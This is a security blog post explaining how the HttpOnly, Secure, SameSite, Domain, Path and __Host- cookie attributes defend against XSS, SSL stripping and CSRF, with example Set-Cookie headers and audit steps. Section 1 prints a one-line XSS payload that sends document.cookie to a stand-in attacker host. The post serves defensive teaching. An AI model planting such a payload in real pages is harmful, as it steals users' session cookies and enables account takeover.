Cookie Security: SameSite, Secure, HttpOnly — Getting the Flags Right

Profile
Yves SoeteFollow
4 min read · Nov 7, 2024

NOV 7, 2024- Written by Yves SoeteBlacksight LLC visit us to use our free website security scanner onscanner.blacksight.io

Get notified when new articles drop — visitblacksight.io/blog to subscribe.

Cookies are one of the oldest mechanisms on the web, and they remain central to authentication, session management, and user tracking. Despite their ubiquity, cookie security is consistently misconfigured. A session cookie missing a single flag can be the difference between a secure application and one that is trivially exploitable via XSS or CSRF. The attributes available on cookies exist specifically to prevent well-understood attack classes. Getting them right is straightforward once you understand what each one does and what happens when it is missing.



1. HttpOnly: Blocking JavaScript Access

The HttpOnly flag tells the browser that a cookie should not be accessible via JavaScript's document.cookie API. This is your primary defense against cross-site scripting (XSS) based cookie theft. Without HttpOnly, an attacker who finds an XSS vulnerability in your application can inject a script that reads the session cookie and sends it to an attacker-controlled server. Once they have the session token, they can impersonate the user without needing credentials. The attack is simple:

// XSS payload that steals cookies without HttpOnly
new Image().src = "https://evil.com/steal?c=" + document.cookie;

With HttpOnly set, document.cookie returns an empty string for that cookie, and the attack fails. Every session cookie, authentication token, and CSRF token must have HttpOnly enabled. The only cookies that should lack this flag are those that your client-side JavaScript legitimately needs to read — such as user preference cookies for theme or language settings.



2. Secure: HTTPS-Only Transmission

The Secure flag ensures that the browser only sends the cookie over HTTPS connections, never over plain HTTP. Without it, a cookie set on an HTTPS page will also be sent if the user visits the HTTP version of your site — or if an attacker performs an SSL stripping attack on a public network. On an open Wi-Fi network, an attacker running a tool like sslstrip can downgrade HTTPS connections to HTTP. If your session cookie lacks the Secure flag, it will be transmitted in cleartext over the downgraded connection, and the attacker can read it directly from the wire. Every cookie that contains sensitive information must have the Secure flag. In practice, if your site runs exclusively on HTTPS (which it should), every cookie should have this flag. There is no legitimate reason to send cookies over an unencrypted connection.



3. SameSite: CSRF Protection at the Cookie Level

The SameSite attribute controls whether cookies are sent with cross-site requests. It has three possible values, and choosing the wrong one either breaks functionality or leaves you open to cross-site request forgery.

SameSite=Strict means the cookie is never sent with any cross-site request. If a user clicks a link from an email to your site, the cookie will not be included in that initial request. This provides the strongest CSRF protection but can create a poor user experience — users may appear logged out when arriving from external links.

SameSite=Lax is the default in modern browsers and provides a practical balance. The cookie is sent with top-level navigations (clicking a link) but is not sent with cross-site POST requests, iframe loads, or AJAX calls. This blocks the most common CSRF attack vectors while still allowing users to arrive at your site with their session intact.

SameSite=None allows the cookie to be sent with all cross-site requests. This is required for legitimate cross-site scenarios like embedded iframes, single sign-on flows, or third-party widget integrations. When using SameSite=None, the Secure flag is mandatory — browsers will reject SameSite=None cookies that lack Secure.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
Set-Cookie: widget_token=xyz; HttpOnly; Secure; SameSite=None
Set-Cookie: theme=dark; SameSite=Lax



4. Path and Domain Scoping

The Path attribute restricts which URL paths the cookie is sent to. A cookie set with Path=/app will not be sent with requests to /admin. This provides a degree of isolation between different sections of your application. The Domain attribute controls which domains receive the cookie. If you set Domain=.example.com, the cookie is sent to example.com and all subdomains including api.example.com, admin.example.com, and any other subdomain. If you omit the Domain attribute entirely, the cookie is only sent to the exact domain that set it, with no subdomain access. For security, prefer the narrowest possible scope. A session cookie for your main application should not be sent to every subdomain. If a subdomain is compromised — perhaps a staging server or a legacy service — an overly broad Domain attribute means the attacker gets your users' session cookies for free.



5. Session vs Persistent Cookies

A session cookie has no Expires or Max-Age attribute and is deleted when the browser closes. A persistent cookie has an explicit expiration and survives browser restarts. For authentication, session cookies are generally more secure because they limit the window of exposure. If a user walks away from a shared computer and closes the browser, their session ends. With a persistent cookie, the session persists until expiration, which could be days or weeks. If you need persistent sessions for user convenience (remember me functionality), use a separate long-lived token with its own security controls. Store it with HttpOnly, Secure, and SameSite=Strict. On the server side, associate it with a fingerprint of the user's device and require re-authentication for sensitive operations like password changes or payment actions. Set Max-Age to the shortest duration that is acceptable for your use case. A 30-day persistent session is common, but every additional day increases the window during which a stolen cookie is usable.



6. Cookie Prefixes: __Host- and __Secure-

Cookie prefixes are an underused security mechanism supported by all modern browsers. They impose additional requirements that the server cannot override, providing defense in depth against cookie injection attacks.

A cookie named __Host-session must be set with the Secure flag, must not have a Domain attribute (restricting it to the exact host), and must have Path=/. This prevents an attacker on a subdomain from overwriting the cookie and blocks cookie injection via insecure HTTP connections.

A cookie named __Secure-token must be set with the Secure flag. This is less restrictive than __Host- but still guarantees the cookie was set over HTTPS.

// Most secure session cookie configuration
Set-Cookie: __Host-session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax

If your application does not require cookies on subdomains, always use the __Host- prefix for session cookies. It is the single strongest cookie configuration available and eliminates several attack classes at once.



7. Real Attack Scenarios

Missing HttpOnly: An attacker finds a stored XSS vulnerability in a forum post. Every user who views the post has their session cookie exfiltrated to an attacker server. The attacker replays these cookies to access accounts without knowing any passwords.

Missing Secure: A user connects to a coffee shop Wi-Fi. An attacker on the same network intercepts the HTTP version of a request (perhaps a redirect, a mixed content load, or a bookmark to the HTTP URL). The session cookie is transmitted in cleartext and captured.

Missing SameSite: An attacker hosts a page containing a hidden form that auto-submits a POST request to your application's password change endpoint. When a logged-in user visits the attacker's page, the browser includes the session cookie with the forged request, and the password is changed without the user's knowledge.

Overly broad Domain: A company's staging server at staging.example.com has a known vulnerability. Because the production session cookie was set with Domain=.example.com, the attacker compromises the staging server and intercepts production session cookies sent to it by the browser.



8. Auditing Your Cookies

Open your browser's developer tools, navigate to the Application or Storage tab, and inspect every cookie your site sets. For each one, verify: Does it have HttpOnly if it contains a session or authentication token? Does it have Secure? Is SameSite set appropriately? Is the Domain scoped as narrowly as possible? Is the Path restricted? Does the expiration match your session policy? For an automated external audit, tools like Blacksight's cookie scanner analyze every cookie your site sets and flag misconfigurations — missing flags, overly broad scoping, and insecure persistent session durations. Run this check after every deployment, because a code change or framework update can silently alter cookie attributes. The correct Set-Cookie header for a session cookie in 2024 looks like this:

Set-Cookie: __Host-session=<token>; Path=/; Secure; HttpOnly; SameSite=Lax

If your session cookie does not look like that, you have work to do. Every missing attribute is a specific, exploitable weakness. The flags exist for a reason — use all of them.

Bonus: Use our free website vulnerability scanner at scanner.blacksight.io

Liked this article? Get notified when new articles drop! visitblacksight.io/blog to subscribe

Version 1.0.49